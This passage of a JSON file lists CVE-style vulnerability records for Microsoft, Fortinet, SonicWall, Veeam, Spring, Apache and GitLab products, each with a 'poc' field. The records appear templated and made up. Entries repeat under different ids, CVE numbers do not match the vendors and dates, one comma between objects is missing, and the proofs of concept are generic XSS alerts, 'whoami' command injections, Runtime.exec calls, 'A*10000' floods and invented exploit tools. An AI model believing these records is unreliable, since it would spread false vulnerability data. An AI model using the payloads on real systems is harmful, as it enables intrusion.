    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure API Management allows script execution via API names."
  },
  {
    "id": "CVE-2023-28311",
    "title": "Microsoft Outlook - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "outlook.exe --malformed-rule exploit.eml",
    "description": "Malicious email rules in Outlook allow RCE when processed."
  },
  {
    "id": "CVE-2024-22309",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28041",
    "title": "FortiVoice - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiVoice flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29895",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34170",
    "title": "SonicWall GMS - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall GMS allows RCE."
  },
  {
    "id": "CVE-2024-26282",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40102",
    "title": "Apache Flink - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Flink API flaw causes denial of service via crafted job requests."
  },
  {
    "id": "CVE-2024-21441",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28312",
    "title": "Microsoft Access - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "access.exe --malformed-db crash.accdb",
    "description": "Access flaw causes denial of service via crafted database processing."
  },
  {
    "id": "CVE-2024-30136",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40631",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22310",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28042",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29896",
    "title": "Veeam Backup - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34171",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26283",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40103",
    "title": "Apache Pulsar - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Pulsar allows script execution via function names."
  },
  {
    "id": "CVE-2024-21442",
    "title": "Microsoft Azure Data Factory - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Data Factory allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28313",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30137",
    "title": "Windows CSRSS - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "csrss_flood --cmd crash",
    "description": "Client-Server Runtime Subsystem flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40632",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22311",
    "title": "Spring Data JPA - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data JPA allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28043",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29897",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34172",
    "title": "SonicWall VPN - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall VPN flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26284",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40104",
    "title": "Apache Kafka - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Kafka API flaw causes denial of service via crafted topic requests."
  },
  {
    "id": "CVE-2024-21443",
    "title": "Microsoft Azure AD - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure AD allows RCE."
  },
  {
    "id": "CVE-2023-28314",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30138",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40633",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22312",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
    "id": "CVE-2023-28044",
    "title": "FortiGate - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiGate allows script execution via VPN config fields."
  },
  {
    "id": "CVE-2024-29898",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34173",
    "title": "SonicWall Analytics - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Analytics flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26285",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40105",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21444",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28315",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  },
  {
    "id": "CVE-2024-30139",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40634",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22313",
    "title": "Spring Data Elasticsearch - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Elasticsearch allows script execution via search queries."
  },
  {
    "id": "CVE-2023-28045",
    "title": "FortiNAC - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiNAC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29899",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34174",
    "title": "SonicWall Firewall - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Firewall allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26286",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  }

  {
    "id": "CVE-2024-30140",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40106",
    "title": "Apache Druid - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Druid via SQL query execution."
  },
  {
    "id": "CVE-2024-21445",
    "title": "Microsoft Azure Synapse - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Synapse via pipeline execution."
  },
  {
    "id": "CVE-2023-28316",
    "title": "Microsoft Outlook - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "outlook.exe --malformed-email crash.eml",
    "description": "Outlook flaw causes denial of service via crafted email processing."
  },
  {
    "id": "CVE-2024-22314",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28046",
    "title": "FortiVoice - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiVoice allows RCE."
  },
  {
    "id": "CVE-2024-29900",
    "title": "Veeam Backup Enterprise Manager - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup Enterprise Manager allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34175",
    "title": "SonicWall SMA - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/sma HTTP/1.1\nHost: sonicwall-sma-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall SMA flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26287",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40107",
    "title": "Apache Airflow - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Airflow API flaw causes denial of service via crafted DAG requests."
  },
  {
    "id": "CVE-2024-21446",
    "title": "Microsoft Azure Kubernetes - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kubectl flood --target cluster_ip",
    "description": "Azure Kubernetes flaw causes denial of service via crafted pod requests."
  },
  {
    "id": "CVE-2023-28317",
    "title": "Microsoft Access - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.accdb\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Access macro vulnerability allows RCE when malicious database is opened."
  },
  {
    "id": "CVE-2024-30141",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40635",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22315",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28047",
    "title": "FortiMail - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiMail flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29901",
    "title": "Veeam Service Provider Console - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam SPC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34176",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26288",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40108",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21447",
    "title": "Microsoft Azure AD - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"profile\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure AD allows script execution via user profiles."
  },
  {
    "id": "CVE-2023-28318",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30142",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40636",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22316",
    "title": "Spring Data JPA - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data JPA via crafted queries."
  },
  {
    "id": "CVE-2023-28048",
    "title": "FortiGate - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiGate allows RCE."
  },
  {
    "id": "CVE-2024-29902",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34177",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-26289",
    "title": "Windows ALPC - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40109",
    "title": "Apache Flink - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Flink via job submission."
  },
  {
    "id": "CVE-2024-21448",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28319",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  },
  {
    "id": "CVE-2024-30143",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40637",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22317",
    "title": "Spring Data Cassandra - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Cassandra allows script execution via query inputs."
  },
  {
    "id": "CVE-2023-28049",
    "title": "FortiWeb - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiWeb flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29903",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34178",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26290",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40110",
    "title": "Apache Kafka - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"<script>alert('XSS')</script>\"}",
